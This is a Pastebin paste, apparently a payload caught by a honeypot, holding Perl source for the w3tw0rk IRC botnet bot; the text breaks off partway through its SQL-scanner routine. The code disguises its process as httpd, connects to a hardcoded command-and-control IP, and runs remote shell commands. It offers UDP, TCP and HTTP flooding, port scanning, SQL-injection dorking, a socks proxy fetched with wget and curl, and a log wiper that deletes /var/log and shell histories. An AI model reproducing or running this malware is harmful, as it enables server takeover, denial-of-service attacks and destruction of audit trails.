Advertisement
recon-scout

Honeypot Payload! Seen on: 2016-06-05 07:27

Jun 5th, 2016
305
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 64.72 KB | None | 0 0
  1. #!/usr/bin/perl
  2. my $processo = 'usr/sbin/httpd';
  3. my $linas_max='10';
  4. my $sleep='5';
  5. my $cmd="http://h4ck3d.wsnw.net/mic22.txt";
  6. my $id="http://h4ck3d.wsnw.net/mic22.txt";
  7. ############################################
  8. my @adms=("Teck", "R", "G", "T", "XeN", "GoD", "c1", "c2");
  9. my @canais=("#|perlz|#");
  10. #Put your channel here
  11. my @nickname = ("Linux|");
  12. my $nick = $nickname[rand scalar @nickname];
  13. #Nickname of bot
  14. my $ircname ='Linux|';
  15. chop (my $realname = 'Linux|');
  16. #IRC name and Realname
  17. $servidor='208.89.211.21' unless $servidor;
  18. my $porta='443';
  19. ############################################
  20. $SIG{'INT'} = 'IGNORE';
  21. $SIG{'HUP'} = 'IGNORE';
  22. $SIG{'TERM'} = 'IGNORE';
  23. $SIG{'CHLD'} = 'IGNORE';
  24. $SIG{'PS'} = 'IGNORE';
  25. use IO::Socket;
  26. use Socket;
  27. use IO::Select;
  28. chdir("/");
  29.  
  30. #Connect
  31. $servidor="$ARGV[0]" if $ARGV[0];
  32. $0="$processo"."\0"x16;;
  33. my $pid=fork;
  34. exit if $pid;
  35. die "Masalah fork: $!" unless defined($pid);
  36.  
  37. our %irc_servers;
  38. our %DCC;
  39. my $dcc_sel = new IO::Select->new();
  40. $sel_cliente = IO::Select->new();
  41. sub sendraw {
  42.    if ($#_ == '1') {
  43.       my $socket = $_[0];
  44.       print $socket "$_[1]\n";
  45.  
  46.    } else {
  47.       print $IRC_cur_socket "$_[0]\n";
  48.    }
  49. }
  50.  
  51. sub conectar {
  52.    my $meunick = $_[0];
  53.    my $servidor_con = $_[1];
  54.    my $porta_con = $_[2];
  55.  
  56.    my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con",
  57.    PeerPort=>$porta_con) or return(1);
  58.    if (defined($IRC_socket)) {
  59.       $IRC_cur_socket = $IRC_socket;
  60.       $IRC_socket->autoflush(1);
  61.       $sel_cliente->add($IRC_socket);
  62.       $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con";
  63.       $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con";
  64.       $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  65.       $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
  66.       nick("$meunick");
  67.       sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname");
  68.       sleep 1;
  69.    }
  70. }
  71.  
  72. my $line_temp;
  73. while( 1 ) {
  74.    while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); }
  75.    select(undef, undef, undef, 0.01); #sleeping for a fraction of a second keeps the script from running to 100 cpu usage ^_^
  76.    delete($irc_servers{''}) if (defined($irc_servers{''}));
  77.    my @ready = $sel_cliente->can_read(0);
  78.    next unless(@ready);
  79.    foreach $fh (@ready) {
  80.       $IRC_cur_socket = $fh;
  81.       $meunick = $irc_servers{$IRC_cur_socket}{'nick'};
  82.       $nread = sysread($fh, $msg, 4096);
  83.       if ($nread == 0) {
  84.          $sel_cliente->remove($fh);
  85.          $fh->close;
  86.          delete($irc_servers{$fh});
  87.       }
  88.       @lines = split (/\n/, $msg);
  89.       for(my $c=0; $c<= $#lines; $c++) {
  90.          $line = $lines[$c];
  91.          $line=$line_temp.$line if ($line_temp);
  92.          $line_temp='';
  93.          $line =~ s/\r$//;
  94.          unless ($c == $#lines) {
  95.             parse("$line");
  96.          } else {
  97.             if ($#lines == 0) {
  98.                parse("$line");
  99.             } elsif ($lines[$c] =~ /\r$/) {
  100.                parse("$line");
  101.             } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
  102.                parse("$line");
  103.             } else {
  104.                $line_temp = $line;
  105.             }
  106.          }
  107.       }
  108.    }
  109. }
  110.  
  111. sub parse {
  112.    my $servarg = shift;
  113.    if ($servarg =~ /^PING \:(.*)/) {
  114.       sendraw("PONG :$1");
  115.    } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
  116.       my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5;
  117.       if ($args =~ /^\001VERSION\001$/) {
  118.          notice("$pn", "\001VERSION mIRC v6.17 w3tw0rk\001");
  119.       }
  120.       if (grep {$_ =~ /^\Q$pn\E$/i } @adms ) {
  121.          if ($onde eq "$meunick"){
  122.             shell("$pn", "$args");
  123.          }
  124. #End of Connect
  125.          if ($args =~ /^(\Q$meunick\E|\!bot)\s+(.*)/ ) {
  126.             my $natrix = $1;
  127.             my $arg = $2;
  128.             if ($arg =~ /^\!(.*)/) {
  129.                ircase("$pn","$onde","$1") unless ($natrix eq "!bot" and $arg =~ /^\!nick/);
  130.             } elsif ($arg =~ /^\@(.*)/) {
  131.                $ondep = $onde;
  132.                $ondep = $pn if $onde eq $meunick;
  133.                bfunc("$ondep","$1");
  134.             } else {
  135.                shell("$onde", "$arg");
  136.             }
  137.          }
  138.       }
  139.    }
  140. ######################### End of prefix
  141.    elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
  142.       if (lc($1) eq lc($meunick)) {
  143.          $meunick=$4;
  144.          $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  145.       }
  146.    } elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
  147.       nick("$meunick|".int rand(999999));
  148.    } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
  149.       $meunick = $2;
  150.       $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  151.       $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
  152.       foreach my $canal (@canais) {
  153.          sendraw("JOIN $canal $key");
  154.       }
  155.    }
  156. }
  157.  
  158. sub bfunc {
  159.    my $printl = $_[0];
  160.    my $funcarg = $_[1];
  161.    if (my $pid = fork) {
  162.       waitpid($pid, 0);
  163.    } else {
  164.       if (fork) {
  165.          exit;
  166.       } else {
  167.  
  168.          if ($funcarg =~ /^killme/) {
  169.             sendraw($IRC_cur_socket, "QUIT :");
  170.             $killd = "kill -9 ".fork;
  171.             system (`$killd`);
  172.          }
  173. ######################
  174. #                    Commands                      #
  175. ######################
  176.          if ($funcarg =~ /^commands/) {
  177.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1[14@9-[w3tw0rk B0T Commands List]-14@4] ");
  178.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1[14@13-----[w3tbot/Hacking Based]-----14@4] ");
  179.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3multiscan <vuln> <dork>");
  180.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3socks5");
  181.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3sql <vuln> <dork>");
  182.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3portscan <ip>");
  183.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3logcleaner");
  184.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3sendmail <subject> <sender> <recipient> <message>");
  185.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3system");
  186.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3cleartmp");
  187.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3rootable");
  188.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3nmap <ip> <beginport> <endport>");
  189.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3back <ip><port>");  
  190.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3linuxhelp");
  191.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3cd tmp:. | for example");
  192.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1[14@13-----[Advisory/New Based]-----14@4] ");
  193.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3packetstorm");
  194.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3milw0rm");
  195.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1[14@13-----[DDos Based]-----14@4] ");
  196.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3udpflood <host> <packet size> <time>");
  197.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3tcpflood <host> <port> <packet size> <time>");
  198.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3httpflood <host> <time>");
  199.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3sqlflood <host> <time>");
  200.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1[14@13-----[IRC Based]-----14@4] ");
  201.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3killme");  
  202.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3join #channel");  
  203.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3part #channel");
  204.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3reset");
  205.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3voice <who> ");
  206.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3owner <who> ");
  207.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3deowner <who> ");
  208.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3devoice <who> ");
  209.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3halfop <who> ");
  210.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3dehalfop <who> ");
  211.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3op <who> ");
  212.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3deop <who> ");
  213.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1[14@13-----[Flooding Based]-----14@4] ");
  214.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3msgflood <who> ");
  215.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3dccflood <who> ");
  216.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3ctcpflood <who> ");
  217.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3noticeflood <who> ");
  218.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3channelflood");
  219.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3maxiflood <who> ");
  220. }
  221.  
  222.          if ($funcarg =~ /^linuxhelp/) {
  223.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1[14@13-----[Linux Help]-----14@4] ");
  224.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@ 3Dir where you are : pwd");
  225.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@ 3Start a Perl file : perl file.pl");
  226.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@ 3Go back from dir : cd ..");
  227.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@ 3Force to Remove a file/dir : rm -rf file/dir;ls -la");
  228.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@ 3Show all files/dir with permissions : ls -lia");
  229.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@ 3Find config.inc.php files : find / -type f -name config.inc.php");
  230.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@ 3Find all writable folders and files : find / -perm -2 -ls");
  231.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@ 3Find all .htpasswd files : find / -type f -name .htpasswd");
  232.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@ 3Find all service.pwd files : find / -type f -name service.pwd");
  233.          }
  234.          
  235.          if ($funcarg =~ /^help/) {
  236.              sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1[14@13-----[Help Commands]-----14@4] ");
  237.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3flooding - For IRC Flooding Help");
  238.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3irc - For IRC Bot Command Help ");
  239.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3ddos - For DDos Command Help");
  240.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3news - For Security News Command Help ");
  241.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3hacking - For Hacking Command Help");
  242.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3linuxhelp - For Linux Help");
  243.          }
  244.  
  245.          if ($funcarg =~ /^flooding/) {
  246.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1[14@13-----[Flooding Based]-----14@4] ");
  247.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3msgflood <who> ");
  248.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3dccflood <who> ");
  249.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3ctcpflood <who> ");
  250.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3noticeflood <who> ");
  251.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3channelflood");
  252.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3maxiflood <who> ");
  253.          }
  254.          
  255.          if ($funcarg =~ /^irc/) {
  256.             sendraw($IRC_cur_socket, "PRIVMSG $printl :12,1[14@13-----[IRC Commands]-----14@12] ");
  257.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3voice <who> ");
  258.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3owner <who> ");
  259.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3deowner <who> ");
  260.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3devoice <who> ");
  261.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3halfop <who> ");
  262.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3dehalfop <who> ");
  263.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3op <who> ");
  264.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3deop <who> ");
  265.          }  
  266.          
  267.          if ($funcarg =~ /^ddos/) {
  268.             sendraw($IRC_cur_socket, "PRIVMSG $printl :12,1[14@13-----[Ddos Commands]-----14@12] ");
  269.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3udpflood <host> <packet size> <time>");
  270.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3tcpflood <host> <port> <packet size> <time>");
  271.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3httpflood <host> <time>");
  272.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3sqlflood <host> <time>");
  273.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@vbulletin_flood <host>");
  274.          }  
  275.  
  276.          if ($funcarg =~ /^news/) {
  277.             sendraw($IRC_cur_socket, "PRIVMSG $printl :12,1[14@13-----[News Commands]-----14@12] ");
  278.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3packetstorm");
  279.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3milw0rm");
  280.          }  
  281.  
  282.          if ($funcarg =~ /^hacking/) {
  283.             sendraw($IRC_cur_socket, "PRIVMSG $printl :12,1[14@13-----[Hacking Commands]-----14@12] ");
  284.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3multiscan <vuln> <dork>");
  285.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3socks5");
  286.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3portscan <ip>");
  287.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3logcleaner");
  288.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3sendmail <subject> <sender> <recipient> <message>");
  289.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3system");
  290.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3cleartmp");
  291.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3rootable");
  292.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3nmap <ip> <beginport> <endport>");
  293.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3back <ip><port>");  
  294.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3linuxhelp");
  295.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3cd tmp:. | for example");
  296.          }                  
  297. ######################
  298. #   End of  Help     #
  299. ######################
  300. ######################
  301. #     Commands       #
  302. ######################
  303.          if ($funcarg =~ /^system/) {
  304.             $uname=`uname -a`;
  305.             $uptime=`uptime`;
  306.             $ownd=`pwd`;
  307.             $distro=`cat /etc/issue`;
  308.             $id=`id`;
  309.             $un=`uname -sro`;
  310.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12Info BOT : 7 Servidor :Hiden : 6667");
  311.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12Uname -a     : 7 $uname");
  312.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12Uptime       : 7 $uptime");
  313.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12Own Prosses  : 7 $processo");
  314.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12ID           : 7 $id");
  315.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12Own Dir      : 7 $ownd");
  316.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12OS           : 7 $distro");
  317.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12Owner        : 7 fuck");
  318.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12Channel      : 7 #berau");
  319.          }
  320.  
  321.          if ($funcarg =~ /^milw0rm/) {
  322.             my @ltt=();
  323.             my @bug=();
  324.             my $x;
  325.             my $page="";
  326.             my $socke = IO::Socket::INET->new(PeerAddr=>"milw0rm.com",PeerPort=>"80",Proto=>"tcp") or return;
  327.             print $socke "GET http://milw0rm.com/rss.php HTTP/1.0\r\nHost: milw0rm.com\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
  328.             my @r = <$socke>;
  329.             $page="@r";
  330.             close($socke);
  331.             while ($page =~  m/<title>(.*)</g){
  332.                $x = $1;
  333.                if ($x =~ /\&lt\;/) {
  334.                   $x =~ s/\&lt\;/</g;
  335.                }        
  336.                if ($x !~ /milw0rm/) {
  337.                   push (@bug,$x);
  338.                }
  339.             }
  340.             while ($page =~  m/<link.*expl.*([0-9]...)</g) {
  341.                if ($1 !~ m/milw0rm.com|exploits|en/){
  342.                   push (@ltt,"http://www.milw0rm.com/exploits/$1 ");
  343.                }
  344.             }
  345.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:3milw0rm12:.4|12 Latest exploits :");
  346.             foreach $x (0..(@ltt - 1)) {
  347.                sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:3milw0rm12:.4|12  $bug[$x] - $ltt[$x]");
  348.                sleep 1;
  349.             }
  350.          }
  351. ######################
  352. #      Portscan      #
  353. ######################
  354.          if ($funcarg =~ /^portscan (.*)/) {
  355.             my $hostip="$1";
  356.             @portas=("15","19","98","20","21","22","23","25","37","39","42","43","49","53","63","69","79","80","101","106","107","109","110","111","113","115","117","119","135","137","139","143","174","194","389","389","427","443","444","445","464","488","512","513","514","520","540","546","548","565","609","631","636","694","749","750","767","774","783","808","902","988","993","994","995","1005","1025","1033","1066","1079","1080","1109","1433","1434","1512","2049","2105","2432","2583","3128","3306","4321","5000","5222","5223","5269","5555","6660","6661","6662","6663","6665","6666","6667","6668","6669","7000","7001","7741","8000","8018","8080","8200","10000","19150","27374","31310","33133","33733","55555");
  357.             my (@aberta, %porta_banner);
  358.             sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Port-Scanner12] Scanning for open ports on ".$1." 12 started .");
  359.             foreach my $porta (@portas)  {
  360.                my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto =>
  361.                   'tcp', Timeout => 4);
  362.                if ($scansock) {
  363.                   push (@aberta, $porta);
  364.                   $scansock->close;
  365.                }
  366.             }
  367.  
  368.             if (@aberta) {
  369.                sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Port-Scanner12] Open ports founded: @aberta");
  370.             } else {
  371.                sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Port-Scanner12] No open ports foundend.");
  372.             }
  373.          }
  374.  
  375. ######################
  376. #  End of  Portscan  #
  377. #####################
  378. #####################
  379. # Chk The News from PacketStorm#
  380. ######################
  381. if ($funcarg =~ /^packetstorm/) {
  382.    my $c=0;
  383.    my $x;
  384.    my @ttt=();
  385.    my @ttt1=();
  386.    my $sock = IO::Socket::INET->new(PeerAddr=>"www.packetstormsecurity.org",PeerPort=>"80",Proto=>"tcp") or return;
  387.    print $sock "GET /whatsnew20.xml HTTP/1.0\r\n";
  388.    print $sock "Host: www.packetstormsecurity.org\r\n";
  389.    print $sock "Accept: */*\r\n";
  390.    print $sock "User-Agent: Mozilla/5.0\r\n\r\n";
  391.    my @r = <$sock>;
  392.    $page="@r";
  393.    close($sock);
  394.    while ($page =~  m/<link>(.*)<\/link>/g)
  395.    {
  396.            push(@ttt,$1);
  397.    }
  398.    while ($page =~  m/<description>(.*)<\/description>/g)
  399.    {
  400.           push(@ttt1,$1);
  401.    }
  402.    foreach $x (0..(@ttt - 1))
  403.    {
  404.          sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3PacketStorm12] ".$ttt[$x]." ".$ttt1[$x]."");
  405.       sleep 3;
  406.       $c++;
  407.    }
  408. }
  409. ######################
  410. #Auto Install Socks V5 using Mocks#
  411. ######################
  412. if ($funcarg =~ /^socks5/) {
  413.    sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3SocksV512]12 Installing Mocks please wait4");
  414.       system 'cd /tmp';
  415.       system 'wget http://switch.dl.sourceforge.net/sourceforge/mocks/mocks-0.0.2.tar.gz';
  416.       system 'tar -xvfz mocks-0.0.2.tar.gz';
  417.       system 'rm -rf mocks-0.0.2.tar.gz';
  418.       system 'cd mocks-0.0.2';
  419.       system 'rm -rf mocks.conf';
  420.       system 'curl -O http://andromeda.covers.de/221/mocks.conf';
  421.       system 'touch mocks.log';
  422.       system 'chmod 0 mocks.log';
  423.          sleep(2);
  424.       system './mocks start';
  425.          sleep(4);
  426.       sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3SocksV512]12 Looks like its succesfully installed lets do the last things4   ");
  427.  
  428.       #lets grab ip
  429.       $net = `/sbin/ifconfig | grep 'eth0'`;
  430.       if (length($net))
  431.       {
  432.       $net = `/sbin/ifconfig eth0 | grep 'inet addr'`;
  433.       if (!length($net))
  434.       {
  435.       $net = `/sbin/ifconfig eth0 | grep 'inet end.'`;
  436.       }
  437.          if (length($net))
  438.       {
  439.          chop($net);
  440.          @netip = split/:/,$net;
  441.          $netip[1] =~ /(\d{1,3}).(\d{1,3}).(\d{1,3}).(\d{1,3})/;
  442.          $ip = $1 .".". $2 .".". $3 .".". $4;
  443.          
  444.             #and print it ^^  
  445.             sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3SocksV512] Connect here :4 ". $ip .":8787 ");
  446.          }
  447.       else
  448.    {
  449.       sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3SocksV512] IP not founded ");
  450.    }
  451. }
  452. else
  453. {
  454.       sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3SocksV512] ERROR WHILE INSTALLING MOCKS ");
  455. }
  456. }
  457. ######################
  458. #        Nmap        #
  459. ######################
  460.    if ($funcarg =~ /^nmap\s+(.*)\s+(\d+)\s+(\d+)/){
  461.          my $hostip="$1";
  462.          my $portstart = "$2";
  463.          my $portend = "$3";
  464.          my (@abertas, %porta_banner);
  465.        sendraw($IRC_cur_socket, "PRIVMSG $printl : Nmap PortScan 12:. 4|  4: $1:. |.: 4Ports 12:.  4 $2-$3");
  466.        foreach my $porta ($portstart..$portend){
  467.                my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => $portime);
  468.     if ($scansock) {
  469.                  push (@abertas, $porta);
  470.                  $scansock->close;
  471.                  if ($xstats){
  472.         sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Nmap12]  Nmap PortScan :. |Founded  4 $porta"."/Open");
  473.                  }
  474.                }
  475.              }
  476.              if (@abertas) {
  477.         sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Nmap12]  Nmap PortScan 12:. 4| Complete ");
  478.              } else {
  479.         sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Nmap12]  Nmap PortScan 12:. 4| No open ports have been founded  13");
  480.              }
  481.           }
  482. ######################
  483. #    End of Nmap     #
  484. ######################
  485. ######################
  486. #    Log Cleaner     #
  487. ######################
  488. if ($funcarg =~ /^logcleaner/) {
  489. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Log-Cleaner12]  LogCleaner :. |  This process can be long, just wait");
  490.     system 'rm -rf /var/log/lastlog';
  491.     system 'rm -rf /var/log/wtmp';
  492.    system 'rm -rf /etc/wtmp';
  493.    system 'rm -rf /var/run/utmp';
  494.    system 'rm -rf /etc/utmp';
  495.    system 'rm -rf /var/log';
  496.    system 'rm -rf /var/logs';
  497.    system 'rm -rf /var/adm';
  498.    system 'rm -rf /var/apache/log';
  499.    system 'rm -rf /var/apache/logs';
  500.    system 'rm -rf /usr/local/apache/log';
  501.    system 'rm -rf /usr/local/apache/logs';
  502.    system 'rm -rf /root/.bash_history';
  503.    system 'rm -rf /root/.ksh_history';
  504. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Log-Cleaner12]  LogCleaner :. |  All default log and bash_history files erased");
  505.       sleep 1;
  506. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Log-Cleaner12]  LogCleaner :. |  Now Erasing the rest of the machine log files");
  507.    system 'find / -name *.bash_history -exec rm -rf {} \;';
  508.    system 'find / -name *.bash_logout -exec rm -rf {} \;';
  509.    system 'find / -name "log*" -exec rm -rf {} \;';
  510.    system 'find / -name *.log -exec rm -rf {} \;';
  511.       sleep 1;
  512. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Log-Cleaner12]  LogCleaner :. |  Done! All logs erased");
  513.       }
  514. ######################
  515. # End of Log Cleaner #
  516. ######################
  517. ######################
  518. #              SQL SCANNER              #
  519. ######################
  520.  
  521. if ($funcarg =~ /^sql2\s+(.*?)\s+(.*)\s+(\d+)/){
  522.    if (my $pid = fork) {
  523.       waitpid($pid, 0);
  524.    } else {
  525.       if (my $d=fork()) {
  526.          addproc($d,"[SQL2] $2");
  527.          exit;
  528.       } else {
  529.          
  530.          my $bug=$1;
  531.          my $dork=$2;
  532.          my $contatore=0;
  533.          my ($type,$space);
  534.          my %hosts;
  535.          my $columns=$3;
  536.          
  537.                         ### Start Message
  538.                         sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3SQL-Scanner12] Starting Scan for 4$bug $dork");
  539.                         sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3SQL-Scanner12] Initializing on 45 12Search Engines ");
  540.                         ### End of Start Message
  541.             # Starting Google
  542.             my @glist=&google($dork);
  543.                         sendraw($IRC_cur_socket, "PRIVMSG $printl 7[4@3SQL-Scanner12] 2G4o8o2g3l4e 7[".scalar(@glist)."7] Sites");
  544.                         my @mlist=&msn($dork);
  545.                         my @asklist=&ask($dork);
  546.                         my @allist=&alltheweb($dork);
  547.                         my @aollist=&aol($dork);
  548.                         my @lycos=&lycos($dork);
  549.                         my @ylist=&yahoo($dork);
  550.                         my @mzlist=&mozbot($dork);
  551.                         my @mamalist&mamma($dork);
  552.                         my @hlist=&hotbot($dork);
  553.                         my @altlist=&altavista($dork);
  554.                         my @slist=&search($dork);
  555.                         my @ulist=&uol($dork);
  556.                         my @fireball=&fireball($dork);  
  557.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 2G4o8o2g3l4e 7[".scalar(@glist)."7] Sites");
  558.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 MSN 7[".scalar(@mlist)."7] Sites");
  559.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 AllTheWeb 7[".scalar(@allist)."7] Sites");
  560.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 Ask.com 7[".scalar(@asklist)."7] Sites");
  561.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 AOL 7[".scalar(@aollist)."7] Sites");
  562.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 Lycos 7[".scalar(@lycos)."7] Sites");
